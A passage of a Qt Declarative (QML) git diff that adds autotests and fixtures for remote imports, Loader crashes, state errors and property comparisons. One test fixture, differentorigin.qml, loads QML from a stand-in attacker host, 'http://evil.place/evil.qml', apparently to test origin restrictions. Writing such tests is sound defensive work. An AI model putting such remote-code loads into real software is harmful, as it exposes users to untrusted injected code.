b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/UndeclaredLocal.qml new file mode 100644 index 0000000..836c20a --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/UndeclaredLocal.qml @@ -0,0 +1,3 @@ +import Qt 4.6 + +Image { source: "pics/blue.png" } diff --git a/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/WrongTestLocal.qml b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/WrongTestLocal.qml new file mode 100644 index 0000000..8dcb7be --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/WrongTestLocal.qml @@ -0,0 +1 @@ +UndeclaredInternal {} diff --git a/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/qmldir b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/qmldir index 303c5c8..da10ba9 100644 --- a/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/qmldir +++ b/tests/auto/declarative/qdeclarativelanguage/qtest/declarative/qmllanguage/qmldir @@ -1,3 +1,4 @@ Test Test.qml TestSubDir TestSubDir.qml TestLocal TestLocal.qml +internal LocalInternal LocalInternal.qml diff --git a/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp b/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp index 6efe755..623775a 100644 --- a/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp @@ -51,6 +51,9 @@ void registerTypes() qmlRegisterType<MyNamespace::MyNamespacedType>("Test",1,0,"MyNamespacedType"); qmlRegisterType<MyNamespace::MySecondNamespacedType>("Test",1,0,"MySecondNamespacedType"); qmlRegisterType<MyGroupedObject>(); + + qmlRegisterCustomType<MyCustomParserType>("Test", 1, 0, "MyCustomParserType", "MyCustomParserType", + new MyCustomParserTypeParser); } QVariant myCustomVariantTypeConverter(const QString &data) diff --git a/tests/auto/declarative/qdeclarativelanguage/testtypes.h b/tests/auto/declarative/qdeclarativelanguage/testtypes.h index 4963e2e..8c163a5 100644 --- a/tests/auto/declarative/qdeclarativelanguage/testtypes.h +++ b/tests/auto/declarative/qdeclarativelanguage/testtypes.h @@ -54,6 +54,8 @@ #include <QtDeclarative/qdeclarativescriptstring.h> #include <QtDeclarative/qdeclarativeproperty.h> +#include <private/qdeclarativecustomparser_p.h> + QVariant myCustomVariantTypeConverter(const QString &data); class MyInterface @@ -560,6 +562,20 @@ namespace MyNamespace { QML_DECLARE_TYPE(MyNamespace::MyNamespacedType); QML_DECLARE_TYPE(MyNamespace::MySecondNamespacedType); +class MyCustomParserType : public QObject +{ + Q_OBJECT +}; + +class MyCustomParserTypeParser : public QDeclarativeCustomParser +{ +public: + QByteArray compile(const QList<QDeclarativeCustomParserProperty> &) { return QByteArray(); } + void setCustomData(QObject *, const QByteArray &) {} +}; + +QML_DECLARE_TYPE(MyCustomParserType); + void registerTypes(); #endif // TESTTYPES_H diff --git a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp index 6b564d4..72b6b28 100644 --- a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp @@ -264,6 +264,8 @@ void tst_qdeclarativelanguage::errors_data() QTest::newRow("importNamespaceConflict") << "importNamespaceConflict.qml" << "importNamespaceConflict.errors.txt" << false; QTest::newRow("importVersionMissing (builtin)") << "importVersionMissingBuiltIn.qml" << "importVersionMissingBuiltIn.errors.txt" << false; QTest::newRow("importVersionMissing (installed)") << "importVersionMissingInstalled.qml" << "importVersionMissingInstalled.errors.txt" << false; + QTest::newRow("importNonExist (installed)") << "importNonExist.qml" << "importNonExist.errors.txt" << false; + QTest::newRow("importNewerVersion (installed)") << "importNewerVersion.qml" << "importNewerVersion.errors.txt" << false; QTest::newRow("invalidImportID") << "invalidImportID.qml" << "invalidImportID.errors.txt" << false; QTest::newRow("signal.1") << "signal.1.qml" << "signal.1.errors.txt" << false; @@ -688,7 +690,7 @@ void tst_qdeclarativelanguage::propertyValueSource() MyPropertyValueSource *valueSource = qobject_cast<MyPropertyValueSource *>(valueSources.at(0)); QVERIFY(valueSource != 0); - QCOMPARE(valueSource->prop.object(), object); + QCOMPARE(valueSource->prop.object(), qobject_cast<QObject*>(object)); QCOMPARE(valueSource->prop.name(), QString(QLatin1String("intProperty"))); } @@ -709,7 +711,7 @@ void tst_qdeclarativelanguage::propertyValueSource() MyPropertyValueSource *valueSource = qobject_cast<MyPropertyValueSource *>(valueSources.at(0)); QVERIFY(valueSource != 0); - QCOMPARE(valueSource->prop.object(), object); + QCOMPARE(valueSource->prop.object(), qobject_cast<QObject*>(object)); QCOMPARE(valueSource->prop.name(), QString(QLatin1String("intProperty"))); } } @@ -1031,12 +1033,12 @@ void tst_qdeclarativelanguage::scriptString() MyTypeObject *object = qobject_cast<MyTypeObject*>(component.create()); QVERIFY(object != 0); QCOMPARE(object->scriptProperty().script(), QString("foo + bar")); - QCOMPARE(object->scriptProperty().scopeObject(), object); + QCOMPARE(object->scriptProperty().scopeObject(), qobject_cast<QObject*>(object)); QCOMPARE(object->scriptProperty().context(), qmlContext(object)); QVERIFY(object->grouped() != 0); QCOMPARE(object->grouped()->script().script(), QString("console.log(1921)")); - QCOMPARE(object->grouped()->script().scopeObject(), object); + QCOMPARE(object->grouped()->script().scopeObject(), qobject_cast<QObject*>(object)); QCOMPARE(object->grouped()->script().context(), qmlContext(object)); } @@ -1242,6 +1244,9 @@ void tst_qdeclarativelanguage::importsRemote_data() QTest::newRow("remote import") << "import \""+serverdir+"\"\nTest {}" << "QDeclarativeRectangle"; QTest::newRow("remote import with subdir") << "import \""+serverdir+"\"\nTestSubDir {}" << "QDeclarativeText"; QTest::newRow("remote import with local") << "import \""+serverdir+"\"\nTestLocal {}" << "QDeclarativeImage"; + QTest::newRow("wrong remote import with undeclared local") << "import \""+serverdir+"\"\nWrongTestLocal {}" << ""; + QTest::newRow("wrong remote import of internal local") << "import \""+serverdir+"\"\nLocalInternal {}" << ""; + QTest::newRow("wrong remote import of undeclared local") << "import \""+serverdir+"\"\nUndeclaredLocal {}" << ""; } #include "testhttpserver.h" diff --git a/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp index 7a10ad0..576fe21 100644 --- a/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp +++ b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp @@ -290,8 +290,6 @@ void tst_QDeclarativeListModel::dynamic_worker_data() void tst_QDeclarativeListModel::dynamic_worker() { - QSKIP("Skip, awaiting imminent fixes", SkipAll); - QFETCH(QString, script); QFETCH(int, result); QFETCH(QString, warning); @@ -342,7 +340,6 @@ void tst_QDeclarativeListModel::dynamic_worker() void tst_QDeclarativeListModel::convertNestedToFlat_fail() { - QSKIP("Skip, awaiting imminent fixes", SkipAll); // If a model has nested data, it cannot be used at all from a worker script QFETCH(QString, script); @@ -390,8 +387,6 @@ void tst_QDeclarativeListModel::convertNestedToFlat_ok() // If a model only has plain data, it can be modified from a worker script. However, // once the model is used from a worker script, it no longer accepts nested data - QSKIP("Skip, awaiting imminent fixes", SkipAll); - QFETCH(QString, script); QDeclarativeListModel model; diff --git a/tests/auto/declarative/qdeclarativeloader/data/BlueRect.qml b/tests/auto/declarative/qdeclarativeloader/data/BlueRect.qml new file mode 100644 index 0000000..3b49f6a --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/BlueRect.qml @@ -0,0 +1,8 @@ +import Qt 4.6 + +Rectangle { + objectName: "blue" + width: 100 + height: 100 + color: "blue" +} diff --git a/tests/auto/declarative/qdeclarativeloader/data/GreenRect.qml b/tests/auto/declarative/qdeclarativeloader/data/GreenRect.qml new file mode 100644 index 0000000..7ee3513 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/GreenRect.qml @@ -0,0 +1,7 @@ +import Qt 4.6 + +Rectangle { + width: 100; height: 100 + color: "green" + Component.onCompleted: myLoader.source = "BlueRect.qml" +} diff --git a/tests/auto/declarative/qdeclarativeloader/data/VmeError.qml b/tests/auto/declarative/qdeclarativeloader/data/VmeError.qml new file mode 100644 index 0000000..da4f6cb --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/VmeError.qml @@ -0,0 +1,7 @@ +import Qt 4.6 + +Rectangle { + width: 100; height: 100; color: "red" + signal somethingHappened + onSomethingHappened: QtObject {} +} diff --git a/tests/auto/declarative/qdeclarativeloader/data/crash.qml b/tests/auto/declarative/qdeclarativeloader/data/crash.qml new file mode 100644 index 0000000..8474e78 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/crash.qml @@ -0,0 +1,14 @@ +import Qt 4.6 + +Rectangle { + width: 400 + height: 400 + + function setLoaderSource() { + myLoader.source = "GreenRect.qml" + } + + Loader { + id: myLoader + } +} diff --git a/tests/auto/declarative/qdeclarativeloader/data/differentorigin.qml b/tests/auto/declarative/qdeclarativeloader/data/differentorigin.qml new file mode 100644 index 0000000..e682d1c --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/differentorigin.qml @@ -0,0 +1,3 @@ +import Qt 4.6 + +Loader { source: "http://evil.place/evil.qml" } diff --git a/tests/auto/declarative/qdeclarativeloader/data/nonItem.qml b/tests/auto/declarative/qdeclarativeloader/data/nonItem.qml new file mode 100644 index 0000000..f42c1d5 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/nonItem.qml @@ -0,0 +1,5 @@ +import Qt 4.6 + +Loader { + sourceComponent: QtObject {} +} diff --git a/tests/auto/declarative/qdeclarativeloader/data/sameorigin-load.qml b/tests/auto/declarative/qdeclarativeloader/data/sameorigin-load.qml new file mode 100644 index 0000000..e281246 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/sameorigin-load.qml @@ -0,0 +1,3 @@ +import Qt 4.6 + +Item { } diff --git a/tests/auto/declarative/qdeclarativeloader/data/sameorigin.qml b/tests/auto/declarative/qdeclarativeloader/data/sameorigin.qml new file mode 100644 index 0000000..e7f5a14 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/sameorigin.qml @@ -0,0 +1,3 @@ +import Qt 4.6 + +Loader { source: "sameorigin-load.qml" } diff --git a/tests/auto/declarative/qdeclarativeloader/data/vmeErrors.qml b/tests/auto/declarative/qdeclarativeloader/data/vmeErrors.qml new file mode 100644 index 0000000..782562b --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/vmeErrors.qml @@ -0,0 +1,6 @@ +import Qt 4.6 + +Loader { + source: "VmeError.qml" +} + diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp index 61b2800..c3be943 100644 --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp @@ -88,6 +88,10 @@ private slots: void failNetworkRequest(); // void networkComponent(); + void deleteComponentCrash(); + void nonItem(); + void vmeErrors(); + private: QDeclarativeEngine engine; }; @@ -392,7 +396,7 @@ void tst_QDeclarativeLoader::networkRequestUrl() server.serveDirectory(SRCDIR "/data"); QDeclarativeComponent component(&engine); - component.setData(QByteArray("import Qt 4.6\nLoader { source: \"http://127.0.0.1:14445/Rect120x60.qml\" }"), TEST_FILE("")); + component.setData(QByteArray("import Qt 4.6\nLoader { source: \"http://127.0.0.1:14445/Rect120x60.qml\" }"), QUrl("http://127.0.0.1:14445/dummy.qml")); QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(component.create()); QVERIFY(loader != 0); @@ -446,7 +450,7 @@ void tst_QDeclarativeLoader::failNetworkRequest() QTest::ignoreMessage(QtWarningMsg, "(:-1: Network error for URL http://127.0.0.1:14445/IDontExist.qml) "); QDeclarativeComponent component(&engine); - component.setData(QByteArray("import Qt 4.6\nLoader { source: \"http://127.0.0.1:14445/IDontExist.qml\" }"), TEST_FILE("")); + component.setData(QByteArray("import Qt 4.6\nLoader { source: \"http://127.0.0.1:14445/IDontExist.qml\" }"), QUrl("http://127.0.0.1:14445/dummy.qml")); QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(component.create()); QVERIFY(loader != 0); @@ -459,6 +463,49 @@ void tst_QDeclarativeLoader::failNetworkRequest() delete loader; } +// QTBUG-9241 +void tst_QDeclarativeLoader::deleteComponentCrash() +{ + QDeclarativeComponent component(&engine, TEST_FILE("crash.qml")); + QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(component.create()); + QVERIFY(item); + + item->metaObject()->invokeMethod(item, "setLoaderSource"); + + QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(item->QGraphicsObject::children().at(0)); + QVERIFY(loader); + QVERIFY(loader->item()); + QCOMPARE(loader->item()->objectName(), QLatin1String("blue")); + QCOMPARE(loader->progress(), 1.0); + QCOMPARE(loader->status(), QDeclarativeLoader::Ready); + QCOMPARE(static_cast<QGraphicsItem*>(loader)->children().count(), 1); + QVERIFY(loader->source() == QUrl::fromLocalFile(SRCDIR "/data/BlueRect.qml")); + + delete item; +} + +void tst_QDeclarativeLoader::nonItem() +{ + QDeclarativeComponent component(&engine, TEST_FILE("nonItem.qml")); + QTest::ignoreMessage(QtWarningMsg, "QML Loader (file://" SRCDIR "/data/nonItem.qml:3:1) Loader does not support loading non-visual elements."); + QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(component.create()); + QVERIFY(loader); + QVERIFY(loader->item() == 0); + + delete loader; +} + +void tst_QDeclarativeLoader::vmeErrors() +{ + QDeclarativeComponent component(&engine, TEST_FILE("vmeErrors.qml")); + QTest::ignoreMessage(QtWarningMsg, "(file://" SRCDIR "/data/VmeError.qml:6: Cannot assign object type QObject with no default method\n onSomethingHappened: QtObject {}) "); + QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(component.create()); + QVERIFY(loader); + QVERIFY(loader->item() == 0); + + delete loader; +} + QTEST_MAIN(tst_QDeclarativeLoader) #include "tst_qdeclarativeloader.moc" diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/plugin.qml b/tests/auto/declarative/qdeclarativemoduleplugin/data/works.qml index f29ae24..f29ae24 100644 --- a/tests/auto/declarative/qdeclarativemoduleplugin/plugin.qml +++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/works.qml diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/com/nokia/AutoTestQmlPluginType/qmldir b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType/qmldir index 0a8b5d4..0a8b5d4 100644 --- a/tests/auto/declarative/qdeclarativemoduleplugin/com/nokia/AutoTestQmlPluginType/qmldir +++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType/qmldir diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/plugin/plugin.pro b/tests/auto/declarative/qdeclarativemoduleplugin/plugin/plugin.pro index 035cb7d..fc77225 100644 --- a/tests/auto/declarative/qdeclarativemoduleplugin/plugin/plugin.pro +++ b/tests/auto/declarative/qdeclarativemoduleplugin/plugin/plugin.pro @@ -2,5 +2,5 @@ TEMPLATE = lib CONFIG += plugin SOURCES = plugin.cpp QT = core declarative -DESTDIR = ../com/nokia/AutoTestQmlPluginType +DESTDIR = ../imports/com/nokia/AutoTestQmlPluginType diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.cpp b/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.cpp index 1335c7c..26199d3 100644 --- a/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.cpp +++ b/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.cpp @@ -48,8 +48,8 @@ class tst_qdeclarativemoduleplugin : public QObject { Q_OBJECT public: - tst_qdeclarativemoduleplugin() { - QCoreApplication::addLibraryPath(QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("plugin")); + tst_qdeclarativemoduleplugin() + { } private slots: @@ -103,9 +103,10 @@ void tst_qdeclarativemoduleplugin::importsPlugin() { QSKIP("Fix me", SkipAll); QDeclarativeEngine engine; + engine.addImportPath(QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("imports")); QTest::ignoreMessage(QtWarningMsg, "plugin created"); QTest::ignoreMessage(QtWarningMsg, "import worked"); - QDeclarativeComponent component(&engine, TEST_FILE("plugin.qml")); + QDeclarativeComponent component(&engine, TEST_FILE("data/works.qml")); foreach (QDeclarativeError err, component.errors()) qWarning() << err; VERIFY_ERRORS(0); diff --git a/tests/auto/declarative/qdeclarativeproperty/tst_qdeclarativeproperty.cpp b/tests/auto/declarative/qdeclarativeproperty/tst_qdeclarativeproperty.cpp index eed12ea..56166f2 100644 --- a/tests/auto/declarative/qdeclarativeproperty/tst_qdeclarativeproperty.cpp +++ b/tests/auto/declarative/qdeclarativeproperty/tst_qdeclarativeproperty.cpp @@ -305,7 +305,7 @@ void tst_qdeclarativeproperty::qmlmetaproperty_object() QCOMPARE(prop.isDesignable(), true); QCOMPARE(prop.isResettable(), false); QCOMPARE(prop.isValid(), true); - QCOMPARE(prop.object(), &dobject); + QCOMPARE(prop.object(), qobject_cast<QObject*>(&dobject)); QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::Normal); QCOMPARE(prop.propertyType(), (int)QVariant::Int); QCOMPARE(prop.propertyTypeName(), "int"); @@ -404,7 +404,7 @@ void tst_qdeclarativeproperty::qmlmetaproperty_object_string() QCOMPARE(prop.isDesignable(), true); QCOMPARE(prop.isResettable(), false); QCOMPARE(prop.isValid(), true); - QCOMPARE(prop.object(), &dobject); + QCOMPARE(prop.object(), qobject_cast<QObject*>(&dobject)); QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::Normal); QCOMPARE(prop.propertyType(), (int)QVariant::Int); QCOMPARE(prop.propertyTypeName(), "int"); @@ -452,7 +452,7 @@ void tst_qdeclarativeproperty::qmlmetaproperty_object_string() QCOMPARE(prop.isDesignable(), false); QCOMPARE(prop.isResettable(), false); QCOMPARE(prop.isValid(), true); - QCOMPARE(prop.object(), &dobject); + QCOMPARE(prop.object(), qobject_cast<QObject*>(&dobject)); QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::InvalidCategory); QCOMPARE(prop.propertyType(), 0); QCOMPARE(prop.propertyTypeName(), (const char *)0); @@ -499,7 +499,7 @@ void tst_qdeclarativeproperty::qmlmetaproperty_object_string() QCOMPARE(prop.isDesignable(), false); QCOMPARE(prop.isResettable(), false); QCOMPARE(prop.isValid(), true); - QCOMPARE(prop.object(), &dobject); + QCOMPARE(prop.object(), qobject_cast<QObject*>(&dobject)); QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::InvalidCategory); QCOMPARE(prop.propertyType(), 0); QCOMPARE(prop.propertyTypeName(), (const char *)0); @@ -597,7 +597,7 @@ void tst_qdeclarativeproperty::qmlmetaproperty_object_context() QCOMPARE(prop.isDesignable(), true); QCOMPARE(prop.isResettable(), false); QCOMPARE(prop.isValid(), true); - QCOMPARE(prop.object(), &dobject); + QCOMPARE(prop.object(), qobject_cast<QObject*>(&dobject)); QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::Normal); QCOMPARE(prop.propertyType(), (int)QVariant::Int); QCOMPARE(prop.propertyTypeName(), "int"); @@ -696,7 +696,7 @@ void tst_qdeclarativeproperty::qmlmetaproperty_object_string_context() QCOMPARE(prop.isDesignable(), true); QCOMPARE(prop.isResettable(), false); QCOMPARE(prop.isValid(), true); - QCOMPARE(prop.object(), &dobject); + QCOMPARE(prop.object(), qobject_cast<QObject*>(&dobject)); QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::Normal); QCOMPARE(prop.propertyType(), (int)QVariant::Int); QCOMPARE(prop.propertyTypeName(), "int"); @@ -744,7 +744,7 @@ void tst_qdeclarativeproperty::qmlmetaproperty_object_string_context() QCOMPARE(prop.isDesignable(), false); QCOMPARE(prop.isResettable(), false); QCOMPARE(prop.isValid(), true); - QCOMPARE(prop.object(), &dobject); + QCOMPARE(prop.object(), qobject_cast<QObject*>(&dobject)); QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::InvalidCategory); QCOMPARE(prop.propertyType(), 0); QCOMPARE(prop.propertyTypeName(), (const char *)0); @@ -791,7 +791,7 @@ void tst_qdeclarativeproperty::qmlmetaproperty_object_string_context() QCOMPARE(prop.isDesignable(), false); QCOMPARE(prop.isResettable(), false); QCOMPARE(prop.isValid(), true); - QCOMPARE(prop.object(), &dobject); + QCOMPARE(prop.object(), qobject_cast<QObject*>(&dobject)); QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::InvalidCategory); QCOMPARE(prop.propertyType(), 0); QCOMPARE(prop.propertyTypeName(), (const char *)0); @@ -1254,7 +1254,7 @@ void tst_qdeclarativeproperty::writeObjectToList() QDeclarativeProperty prop(container, "children"); prop.write(qVariantFromValue(object)); QCOMPARE(list.count(), 1); - QCOMPARE(list.at(0), object); + QCOMPARE(list.at(0), qobject_cast<QObject*>(object)); } Q_DECLARE_METATYPE(QList<QObject *>); diff --git a/tests/auto/declarative/qdeclarativeqt/data/createQmlObject.qml b/tests/auto/declarative/qdeclarativeqt/data/createQmlObject.qml index 9150782..54a3e7d 100644 --- a/tests/auto/declarative/qdeclarativeqt/data/createQmlObject.qml +++ b/tests/auto/declarative/qdeclarativeqt/data/createQmlObject.qml @@ -7,7 +7,7 @@ Item { property bool incorrectArgCount2: false property bool emptyArg: false property bool noParent: false - property bool notReady: false + property bool notAvailable: false property bool runtimeError: false property bool errors: false @@ -20,7 +20,7 @@ Item { emptyArg = (createQmlObject("", root) == null); errors = (createQmlObject("import Qt 4.6\nQtObject{\nproperty int test: 13\nproperty int test: 13\n}", root, "main.qml") == null); noParent = (createQmlObject("import Qt 4.6\nQtObject{\nproperty int test: 13}", 0) == null); - notReady = (createQmlObject("import Qt 4.6\nQtObject{\nBlah{}\n}", root, "http://www.example.com/main.qml") == null); + notAvailable = (createQmlObject("import Qt 4.6\nQtObject{Blah{}}", root) == null); runtimeError = (createQmlObject("import Qt 4.6\nQtObject{property int test\nonTestChanged: QtObject{}\n}", root) == null); var o = createQmlObject("import Qt 4.6\nQtObject{\nproperty int test: 13\n}", root); diff --git a/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp b/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp index debec02..4987557 100644 --- a/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp +++ b/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp @@ -301,15 +301,17 @@ void tst_qdeclarativeqt::createQmlObject() QString warning1 = "QDeclarativeEngine::createQmlObject():"; QString warning2 = " " + TEST_FILE("main.qml").toString() + ":4:1: Duplicate property name"; - QString warning3 = "QDeclarativeEngine::createQmlObject(): Component is not ready"; - QString warning4 = "QDeclarativeEngine::createQmlObject():"; - QString warning5 = " " + TEST_FILE("inline").toString() + ":3: Cannot assign object type QObject with no default method"; + QString warning3 = "QDeclarativeEngine::createQmlObject():"; + QString warning4 = " " + TEST_FILE("inline").toString() + ":2:10: Blah is not a type"; + QString warning5 = "QDeclarativeEngine::createQmlObject():"; + QString warning6 = " " + TEST_FILE("inline").toString() + ":3: Cannot assign object type QObject with no default method"; QTest::ignoreMessage(QtWarningMsg, qPrintable(warning1)); QTest::ignoreMessage(QtWarningMsg, qPrintable(warning2)); QTest::ignoreMessage(QtWarningMsg, qPrintable(warning3)); QTest::ignoreMessage(QtWarningMsg, qPrintable(warning4)); QTest::ignoreMessage(QtWarningMsg, qPrintable(warning5)); + QTest::ignoreMessage(QtWarningMsg, qPrintable(warning6)); QObject *object = component.create(); QVERIFY(object != 0); @@ -319,7 +321,7 @@ void tst_qdeclarativeqt::createQmlObject() QCOMPARE(object->property("emptyArg").toBool(), true); QCOMPARE(object->property("errors").toBool(), true); QCOMPARE(object->property("noParent").toBool(), true); - QCOMPARE(object->property("notReady").toBool(), true); + QCOMPARE(object->property("notAvailable").toBool(), true); QCOMPARE(object->property("runtimeError").toBool(), true); QCOMPARE(object->property("success").toBool(), true); diff --git a/tests/auto/declarative/qdeclarativestates/data/illegalObj.qml b/tests/auto/declarative/qdeclarativestates/data/illegalObj.qml new file mode 100644 index 0000000..480764e --- /dev/null +++ b/tests/auto/declarative/qdeclarativestates/data/illegalObj.qml @@ -0,0 +1,12 @@ +import Qt 4.6 + +Rectangle { + id: myItem + + states : State { + PropertyChanges { + target: myItem + children: Item { id: newItem } + } + } +} diff --git a/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp b/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp index fe7ec15..91883c9 100644 --- a/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp +++ b/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp @@ -106,6 +106,7 @@ private slots: void illegalTempState(); void nonExistantProperty(); void reset(); + void illegalObjectCreation(); }; void tst_qdeclarativestates::initTestCase() @@ -564,7 +565,7 @@ void tst_qdeclarativestates::anchorChanges() rect->setState("right"); QCOMPARE(innerRect->x(), qreal(150)); QCOMPARE(aChanges->reset(), QString("left")); - QCOMPARE(aChanges->object(), innerRect); + QCOMPARE(aChanges->object(), qobject_cast<QDeclarativeItem*>(innerRect)); QCOMPARE(aChanges->right().item, rect->right().item); QCOMPARE(aChanges->right().anchorLine, rect->right().anchorLine); @@ -621,7 +622,7 @@ void tst_qdeclarativestates::anchorChanges3() QVERIFY(aChanges != 0); rect->setState("reanchored"); - QCOMPARE(aChanges->object(), innerRect); + QCOMPARE(aChanges->object(), qobject_cast<QDeclarativeItem*>(innerRect)); QCOMPARE(aChanges->left().item, leftGuideline->left().item); QCOMPARE(aChanges->left().anchorLine, leftGuideline->left().anchorLine); QCOMPARE(aChanges->right().item, rect->right().item); @@ -671,7 +672,7 @@ void tst_qdeclarativestates::anchorChanges4() QVERIFY(aChanges != 0); rect->setState("reanchored"); - QCOMPARE(aChanges->object(), innerRect); + QCOMPARE(aChanges->object(), qobject_cast<QDeclarativeItem*>(innerRect)); QCOMPARE(aChanges->horizontalCenter().item, bottomGuideline->horizontalCenter().item); QCOMPARE(aChanges->horizontalCenter().anchorLine, bottomGuideline->horizontalCenter().anchorLine); QCOMPARE(aChanges->verticalCenter().item, leftGuideline->verticalCenter().item); @@ -706,7 +707,7 @@ void tst_qdeclarativestates::anchorChanges5() QVERIFY(aChanges != 0); rect->setState("reanchored"); - QCOMPARE(aChanges->object(), innerRect); + QCOMPARE(aChanges->object(), qobject_cast<QDeclarativeItem*>(innerRect)); QCOMPARE(aChanges->horizontalCenter().item, bottomGuideline->horizontalCenter().item); QCOMPARE(aChanges->horizontalCenter().anchorLine, bottomGuideline->horizontalCenter().anchorLine); QCOMPARE(aChanges->baseline().item, leftGuideline->baseline().item); @@ -964,6 +965,19 @@ void tst_qdeclarativestates::reset() QVERIFY(text->width() > text->height()); } +void tst_qdeclarativestates::illegalObjectCreation() +{ + QDeclarativeEngine engine; + + QDeclarativeComponent component(&engine, SRCDIR "/data/illegalObj.qml"); + QList<QDeclarativeError> errors = component.errors(); + QVERIFY(errors.count() == 1); + const QDeclarativeError &error = errors.at(0); + QCOMPARE(error.line(), 9); + QCOMPARE(error.column(), 23); + QCOMPARE(error.description().toUtf8().constData(), "PropertyChanges does not support creating state-specific objects."); +} + QTEST_MAIN(tst_qdeclarativestates) #include "tst_qdeclarativestates.moc" diff --git a/tests/auto/declarative/qdeclarativetextedit/data/http/cursorHttpTestPass.qml b/tests/auto/declarative/qdeclarativetextedit/data/http/cursorHttpTestPass.qml index a44e867..de4de00 100644 --- a/tests/auto/declarative/qdeclarativetextedit/data/http/cursorHttpTestPass.qml +++ b/tests/auto/declarative/qdeclarativetextedit/data/http/cursorHttpTestPass.qml @@ -1,4 +1,5 @@ import Qt 4.6 +import "http://localhost:42332" Rectangle { width: 300; height: 300; color: "white" resources: [ diff --git a/tests/auto/declarative/qdeclarativetextedit/data/http/qmldir b/tests/auto/declarative/qdeclarativetextedit/data/http/qmldir new file mode 100644 index 0000000..886e6ff --- /dev/null +++ b/tests/auto/declarative/qdeclarativetextedit/data/http/qmldir @@ -0,0 +1,4 @@ +ErrItem ErrItem.qml +NormItem NormItem.qml +FailItem FailItem.qml +WaitItem WaitItem.qml diff --git a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp index 8b513e8..e623df6 100644 --- a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp +++ b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp @@ -72,6 +72,7 @@ private slots: void readOnly(); void sendRequestSoftwareInputPanelEvent(); + void setHAlignClearCache(); private: void simulateKey(QDeclarativeView *, int key); @@ -651,6 +652,38 @@ void tst_qdeclarativetextinput::sendRequestSoftwareInputPanelEvent() QCOMPARE(ic.softwareInputPanelEventReceived, true); } +class MyTextInput : public QDeclarativeTextInput +{ +public: + MyTextInput(QDeclarativeItem *parent = 0) : 